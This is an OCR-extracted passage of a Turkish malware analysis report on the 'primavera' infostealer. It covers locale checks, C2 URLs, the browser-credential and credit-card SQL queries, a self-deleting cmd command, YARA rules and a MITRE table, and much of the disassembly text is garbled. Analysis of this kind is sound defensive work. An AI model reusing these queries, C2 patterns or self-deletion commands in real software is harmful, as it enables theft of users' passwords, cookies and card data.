zararh yazihm faaliyet géstermeden programi sonlandirmaktadir. Bu kontrol
zararlinin Windows Defender Emulator uzerinde g¢alismasini 6nlemek/igin
yapiimaktadir.

Rusya

Sekil 19- Dil kontroliiniin yapilmasi

GetUserDefaultLangld API ile kullanicinin varsayilan dil segeneginin ID’si
donduralur. Bu degerden hexadecimal olarak 419 degeri gikartilir ve kalan deger 2A
ile karsilastirilir. Kalan deger 2A dan buytk ise fonksiyondan direkt ¢ikilir. Deger
kuguk ise movzx komutu ile gerekli kontrol saglanir. Eger ¢ikan deger, aranan ulke
kodlarindan biri ise uygulama kapanir. Burada dll kontrolleri yapilarak bazi yerlerde
yazilimin galismamasi istenmigtir.




Dil ID Dil Etiketi Konum
0x419 Ru-RU Rusya
0x422 uk-UA Ukrayna
0x423 Be-BY Belarus
Ox43F kk-KZ Kazakistan
0x443 Us-Latb-US Ozbekistan

Tablo 2- Dil kontrolt yapilan llkeler

E8 3A2A0000 call <umarimexedir.apI'léri aliyor> i

8BOD 9C840B01 mov ecx,dword ptr ds:[10B849C] 010BB849C:&"http://michealjohnsaon. top™
51 ush ecx

8D4D AD ?ea ecx,dword ptr ss:|lebp-60]

E8 0B360000 €all umarimexedir.EB37F0

8B15 60810801 mov edx,dword ptr ds:[10B8160] 010B8160:&" /e9c345fc99adeb7e. php"

52 ush edx

8DB5 2CAEFFFF ea eax,dword ptr ss:|lebp-51D4]

50 gush eax

8D4D A0 eg‘ecx,dwqr‘d ptr 55 :[flebp-60]

Sekil 20- POSTrequest /e9c345fc99ade67e.php
Ardindan zararli yazilim faaliyetleri icin kullanilacak AP!'leri bellege yuklenmektedir.

“http[:]//michealjohnson|.]top sitesi zararli yazilimin domaini olarak tespit
edilmigtir. Zararli yazilmin domainine baglaniimaya ¢alisiidiginda web sitesinin
kapali oldugu tespit edilmistir.

§3C4 50 add esp,50
8DBD G4CAFFFF lea ecx,dword ptr ss:[ebp-359C] [ebp-359C] : "http://michealjohnson. top/412a0310f85f16ad/sglite3. d11"”
EE 30370000 €all umarimexedir.EB3Aa0
83EC 0OC sub esp,C
8BCC mov ecx,esp
push eax eax:&"http://michealjohnson. top/412a0310f85f16ad/sqlite3. d11"
E& A2330000 call <umarimexedir.EAx_adres_ddniiyor>
E& 4D46FFFF call umarimexedir.EA49C0 sqlite3.d1l indiriyor
83c4 0OC add esp,c
8985 EOADFFFF mov dword ptr
8995 E4ADFFFF mov dword ptr
8BB5 EOADFFFF mov eax,dword
8985 S5CCAFFFF mov dword ptr
8BEBD E4ADFFFF mov ecx,dword
898D GOCAFFFF mov dword ptr
83EC 10 sub esp,10
8BD4 mov edx,esp
8B45 FO mov eax,dword ptr ss:[ebp-10]
8902 mov dword ptr ds:[edx],eax eax:&"http://michealjohnson. top/412a0310f85f16ad/sqlite3. d11"
84D F4 mov ecx,dword ptr ss:[febp-Cl]
§94A 04 mov dword ptr ds:[edx+4],ecx
8B45 F8 mov eax,dword ptr ss:|[ebp-E&]
8942 08 mov dword ptr ds:[edx+8],eax eax:&"http://michealjohnson. top/412a0310f85f16ad/sqlite3. d11"
8B4D FC mov ecx,dword ptr ss:[lebp-4

Sekil 21- sqlite3.dll indirme iglemi yapiimasi.

C2 sunucusuna baglanarak sqlite3.dIl’i indirir.
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£% ‘EsCE0000 €all umarimexedir.FE3AAD.
50 push eax

804D 14 lea ecx,dword ptr ss:[ebp+1s]
E8 EOC80000 €all umarimexedir.FE3AAD

5o push eax

FF15 58861E01 €all dword ptr ds:[11E8658]
658 BA46FEQOQ push umarimexedir gA
8D4D FO lea ecx,dword ptr :[febp-10
EE 3CCE0000 €all umarimexedir 3710
8D4D FC lea ecx,dword ptr ss:[ebp-a

51 push ecx

804D EO lea ecx,dword ptr ss:[[ebp-20]
E8 COC30000 €all umarimexedir.FE3AAD

50 push eax

FF15 EQS851E01 €811 dword ptr ds:[11E85E0]
83C4 08 add esp, 2

TesT eax,e

eax:"sqlite3_open”

eax: "sqlite3_open”

[ebp-4]:"9ppNPQIVPIAUVZ IkeeT7I91p"

sqlit

eax: e3_open™
sqlite3_open SELECT origin_url, username value, p:

85C0 , 23X eax:"sqlite3_open”
~ 0OF85 C6030000 jne umarimexedir.FD75B8
6A 00 push o
8055 EC lea edx,dword ptr ss:[Jebp-14] [ebp-14]:"sqlite3_open"
52 push edx
6A FF push FFFFFFFE
Al 98B01E01 mov eax,dword ptr ds:[11E8098] eax:"sqlite3_open”
push eax eax:"sqlite3_open
8B4D FC mov ecx,dword ptr ss:[ebp-a [ebp-4]:"9ppNPQIVPIAUVZ IkeeT7I91p"
51 push ecx
FF15 9C851E01 €all dword ptr ds:[11E859C]
83c4 14 add esp,14
85C0 test eax,eax eax:"sqlite3_open™
-~ 0QF85 B3030000 jne umarimexedir.FD759E
8B5S EC mov edx,dword ptr ss:[ebp-14] [ebp-14]:"sglite3_open
52 push edx
FF15 B8S851E01 €all dword ptr ds:[11E85B8]
83C4 D4 add esp,4+
53F8 64 mp eax, 64 eax:"sglite3_open™, 64:'d’
~ OF85 73030000 jne umarimexedir.FD759E
6A 00 push 0
8B45 EC mov eax,dword ptr ss:[[ebp-14] [ebp-14]:"sglite3_open

Sekil22- Zararli yazilimin yaptigiselect sorgulari

SELECT SORGULARI

"SELECT origin_url, username_value, password_value FROM logins"
"SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-
11644480800, name, encrypted_value from cookies"

"SELECT name, value FROM autofill"

"SELECT url FROM urls LIMIT 1000"

"SELECT name_on_card, expiration_month, expiration_year,
card_number_encrypted FROM credit_cards"

"SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM
moz_cookies"

"SELECT fieldname, value FROM moz_formhistory"

"SELECT url FROM moz_places LIMIT 1000"

Tablo 3- Zararli yazilmin yapfigi select sorgulari

Zararl yazihmin browser bilgilerini almak i¢in kullandigrselect sorgulari.

55 push ebp

8BEC mov ebp,esp
B1EC 30010000 sub esp,130
Al ACB25601 mov eax,dword ptr ds:[15682AC] 015682AC:&"Opera”
50 E'I:ush eax
8D4D 20 ea ecx,dword ptr ss:[lebp+20[]
E8 19C40000 €all umarimexedir.1363A40
OFBGCB movzx ecx,al
85cC9 test ecx,ecx
— ~ 74 OF je umarimexedir.135763D
68 BB463601 ush umarimexedir.1364688
8D4D 14 ea ecx,dword ptr ss:[lebp+14]
E8 B5C10000 €all umarimexedir.13637F0
—®| 01357638 ~ EB 60 jmp umarimexedir.135769D
—»m| 0135763D 8B15 C8825601 mov edx,dword ptr ds:[15682C8] edx:"mw‘chea'\juhnsun.tup”, 015682C8:&"0peraGx”
52 E?ush edx edx: "michealjohnson. top”
8D4D 20 ea ecx,dword ptr ss:[Jebp+20[
E& F4C30000 €all umarimexedir.1363A40

greeco LTees el
Sekil 23- Zararli yazilimin hedefledigi tarayicilar

Zararh yazilim, bilgisayarda kayitl olan kart bilgileri, gcerezler ve tarayici gegmisini
hedef almaktadir.
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Zararh yazihmin hedefledigi tarayicilar

e Opera

e Chrome

e Edge_chromium
e Firefox

e OperaGX

e OperaNeon

db ©An
File Edit Jump Search View Debugger Lumina Options V db  4Eh N
SH ey B H ) o DO aHaha. db 65h ; elowsdebugger - | %EI[): @ #* §
* N S 111111
db 77h ; w
Library function ll Regular function | Instruction Data Unexplot db  6Fh .
Debug View (%] db  72h ; rtures { E
. = = = = db 6Bh ; k = =
Ep. 0 [ (e ] Bes: B [ B ps.. £ ] Eps... db  26h ips.. l ) ps... [ Ees.. O [ Eipsd B W‘[
.text:0018D42A push ecx - =
.text:0018D428 lea ecx, db 4h ; 1
.text:0018D42F call  sub_1 db 6Eh ; r
.text:00180433 push eax db 66h ; f
.text:00180434 lea ecx, db 6Fh g
.text:0018D437 call sub_1 db  3AH £
.text:0018D43C lea ecx, '3
.text:0018D442 call  sub_1 db @Ah
.text:00180447 lea ecx, db 9 r
.text:0018044D call sub_1 db 2Dh
.text:00180452 lea ecx, db 2'0' '
.text:00180455 call  sub 1 b o
[Rext 001B0ASA push - db 4% ; I
.text:0018D458 call dword db 50h ; Pocedur
| textip0180a51 push. -] db 3ah ; ;N
.text:00180462 lea ecx, db 20t
.text:00180465 call  sub_1 .
.text:0018046A push  eays db 4oh ; I
.text:0018D468 sub esf db 56h ; |
. text:PO18DA6E mov ecx, db 3Fh ; ? [
.text:00180476 push  edx db  0Ah
.text:9018D477 call sub_1 db 9
.text:0018D47C sub esp, db 2Dh ;
.text:0018DA7F mov ecx, db  20h
.text:0018D481 lea eax, db 43h p-
80.00% (-334,18165) (450,276) 0000CE86A 0018D46A: sub 18C810- db 6Fh : o!udocode-A, Pseudocode-F)
_r—:_‘] Hex View-1 gz ZE: I
00190C60 E8 5A FA FF FF 8B 55 F@ 52 FF 15 4C 86 db 7lllh
0019eC76 6A 00 FF 15 14 87 39 00 8D 4D F4 E8 50 2B db 72h :
0019080 8B E5 5D C3 CC ( C ( C( C ( db 79 : v
2019 55 8B EC 81 EC 28 @1 0@ 00 C7 85 DC FE FF db 3Ah
€ 5 ©0 00 00 68 94 01 20 00 8D 85 E@ FE FF FF db 20h
00190CB@ 15 98 86 39 00 85 CO0 75 @7 C6 85 E@ FE FF db 49 :
00010060 00190C60: start:loc 190CSC+4 db 53h ;
= db 4Fh ;
/=] Output window Ak AEK. 5D

Sekil 24- Zararli yazilimin caldigi sistem bilgileri

Zararl yazihm aldidi sistem bilgilerini system_info.txt dosyasina kaydetmektedir.
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Zararh yazilmin aldigi sistem bilgileri:

- Network Info
- 1P

- Country

- HWID

(O]
Architecture
Use s
Cor Name
Lo e

U
La

Keyk

Coresi,.

Installed-Apps

ALL m.]?/ |
- Cur S
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B cru ‘ D Grafik | |+ Gunluk | [ Notlar ® Kesme Noktalan " Hafiza [} Yigin Cagrian =% SEH L2l Komut Dosyasl | & semboler <> Kaynak /- Referanslar S Ig
<umar 55 push ebp username_myusername_bir lestirme
Fg—e BBEC mov ebp,esp
M 83EC 10 sub esp,10
[] 894D FO mov dword ptr ss: [ebp 10] ecx
[ 8D4D F4 lea ecx,dword ptr s55:[[eb [ebp-C] : "II1DBGDGCGDAKFIDGIDB"
. E8 4FFDFFFF call umarwmexed‘\r.lS?SEED
[] 8845 0C mov eax,dword ptr ss:|febp+c] [ebp+c]: "http://michealjohnson. top/edc345fc9ade67e. php
(] 50 push eax
[ FF15 AB865701 €all dword ptr ds:[<&]lstrlena>]
. 8B4D FO mov ecx,dword ptr 55 :[Jebp-10[
[] 0341 08 add eax,dword ptr ds:[ecx+&]
[ 8945 FC mov dword ptr ss:[lebp-4]], eax
[] BB55 FC mov edx,dword ptr ss: [ebp 4]
[ 83c2 01 add e x,l edx:"POST request recejved”
(] push edx edx:"POST request received”
. E8 EOE2FEFF call umar-imexed-ir.lSGlcQD
[} 83C4 04 add esp,4
[ ] 8945 F4 mov dword ptr ss:[lebp-cll, eax [ebp- IJIDBGDGCGDAKFIDGIDB"
[ 837D F4 00 cmp dword ptr ss:[ebp-cl],0 [ebp- II1DBGDGCGDAKFIDGIDB"
~ 74 2C je umarimexedir.13739E8
[ 8B45 FO mov eax,dword ptr ss:[ebp-10]
[ 8338 00 cmp dword ptr ds:[eax],0
~ 74 24 je umarimexedir.13739e8
° 837D OC 00 cmp dword ptr ss:[febp+Cl,0 [ebp+c]:"http://michealjohnson. top/e9c345fc99ade67e. php"
r----8 ~ 74 1E je umarimexedir.13739e8
i [ 8B4D FO mov ecx,dword ptr s5s:[[ebp-10]
H [] 8B11 mov edx,dwurd ptr ds:[ecx] edx:"POST request recei\ -ed
! (] 52 push edx edx:"POST request rece
H [] BB45 F4 mov eax,dword ptr ss:|[lebp-C] [ebp-C] : "IIIDBGDGCGDAKFIDGIDE™
H (] 50 push eax
H— FF15 28885701 €all dword ptr ds:[<&1strepy=]
i [] 884D OC mov ecx,dword ptr SS:[Ebp—({) [ebp+c]:"http://micheal johnson. top/e9c345fc99ade67e. php”
' . 51 push ecx
! [] BB55 F4 mov edx,dword ptr ss:|[febp-C] [ebp ;] "IIIDBGDGCGDAKFIDGIDE"
f (] 52 push edx edx:"POST request received”
i [ ] FF15 94875701 €all dword ptr ds:[<&lstrcat>]
. 8D45 F4 Tea eax,dword ptr ss:|[[ebp-c]] [ebp-C] : "IIIDBGDGCGDAKFIDGIDE™
[} 50 push eax
[] 884D 08 mov_ecx,dword ptr ss:|[[ebp+&]
. E8 7CFDFFFF call umarimexedir.1373770
[] 8D4D F4 Tea ecx,dword ptr ss:|[[ebp-C]] [ebp-C] : "IIJDBGDGCGDAKFIDGIDE ™
. E8 D4FDFFFF gall umarimexedir.13737p0
[] 8B45 08 mov eax,dword ptr ss:|[lebp+&]
[] BBES mov esp,ebp
[} 5D pop ebp
(] €2_0800 HEE 8
Sekil 25- /e9¢345fcO99a4e6./e.php request
Zararlyyazihm, C2 sunucuya POST istedi gonderir.
®||FFFF lea ecx,dword ptr ss:|lebp-42&]
] ush ecx
®|[FFFF ea edx dwurd ptr ss:|lebp-440]
. ush ed
®|FFFF ea ecx, dwor‘d ptr ss:|lebp-434] [ebp-434]:"/c timeout /Tt 5 & del /f /q
|00 call <umar1mexed1r.username,myusername,h'iﬂestirm»
. ush eax
E———>0|FFFF ea_ecx,dword ptr ss:[ebp-434] [ebp-434]:"/c timeout /t 5 & del /f /q "
®|00 call umarimexedir.137387
o|FEFE Tea ecx,dword ptr ss:[lebp-440]
#|(00 €all umarimexedir.13737D0
®|01 mov eax,dword ptr ds:[157820C] 0157820C:&"\" & del \"C:\\Programpata\}*.d11\"\" & exit"
. ush eax
®|[FFFF EI]ea ecx,dword ptr ss:|lebp-44c]
. ush ecx
®|FFFF ea ecx,dword ptr ss:|[ebp-434] [ebp-434]:"/c timeout /Tt 5 & del /f /q
#||00 €all <umarimexedir.username_myusername_birlestirme>
. ush eax
®|FFFF ea ecx,dword ptr ss:llebp-434] [ebp-434]1:"/c timeout /t 5 & del /f /q
#|(00 €all umarimexedir.1373870
o|FEFE Tea ecx,dword ptr ss:[lebp-44c]]
#|(00 €all umarimexedir.13737D0
#|c000000 |mov dword ptr ss:[ebp-3c],3c 3c:'<"
#|/0000000 |mov dword ptr ss:[ebp- 1.5] 0
#|0000000 |mov dword ptr ss:febp-34],0
#5701 mov edx,dword ptr ds: [15784A4]
o mov dword ptr ss:|[ebp-30],edx
o0l mov eax,dword ptr ds : [1578518] windows\\system32\\cmd. exe"
. mov dword ptr ss:[lebp-2Cl,eax
o|FEFE Tea ecx,dword ptr ss:[lebp 434] "/c timeout /t 5 & del /f /q
.

00 €all umarimexedir.1373AA0
Sekil 26- Biitiin islemler bittikten sonra cmd.exe'ile kendini silme islemi yapiliyor.

Batun islemler bittikten sonra kendini silme islemine baslamaktadir. 5 saniye
bekledikten sonra ProgramData klasorunun icerisindeki .dll uzantili dosyalari
sessizce ve zorla siler ve cmd.exe’yi kapatir.

Silme islemleri i¢in kullandigi komutlar;

/c timeout /t 5 & del /f /g \ & del “C:\ProgramData\*.dll & exit




YARA Kurali

rule primavera_rule_s

author = "ZAYOTEM"

description = "primavera_rule"

file_name ="primavera.exe"

strings:

$strl ="qo4YN04+OrkHHs51LrO0S8p1RjG4"

$str2 ="qt8QZhwePO5UQc8hfOeoHct0"

$str3="4109976902326622912460160242"

$strd="7Z9VJIECIILINRI9xe7rOE8c1RTamxWpAIA"

$api= "04JTIAhrY541S5h3"

$api2= "04JTIAhrY48WSINxeal="

condition:

$api and $api2 and all of ($str*)




YARA Kurali

rule primavera_rule_d

author = "ZAYOTEM"

description = "primavera_rule'

file_name ="stage3"

strings:

$strl ="/e9c345fc99ad4e67e.php”

$str2 ="/412a0310f85f16ad/"

$str3="4109976902326622912460160242"

$str4= "http://michealjohnson.top

$api= "VirtualAlloc"

$api2= "VirtualProtect"

condition:

$api and $api2 and all of ($str*)




MITRE ATTACK TABLE

Hide Data System Infermation

Native API Event Process
(T1106) | Triggered | Injection Artifacts Encoding Discovery
Execution | (71055) (T1564) (T1132) (T1082)
(T1546)
Create or Obfuscated System System Location
Modify Files or Location Discovery
System Information Discovery (T1614)
Process (T1027) (T1614)
(T1543)
Create Indicator Process Discovery
Account Removal (T1057)
(11136) (T1070)
System Time
Discovery
(T1124)
System Owner/User
Discovery
(T1033)

Tablo 3- Mitre Attack Tablosu
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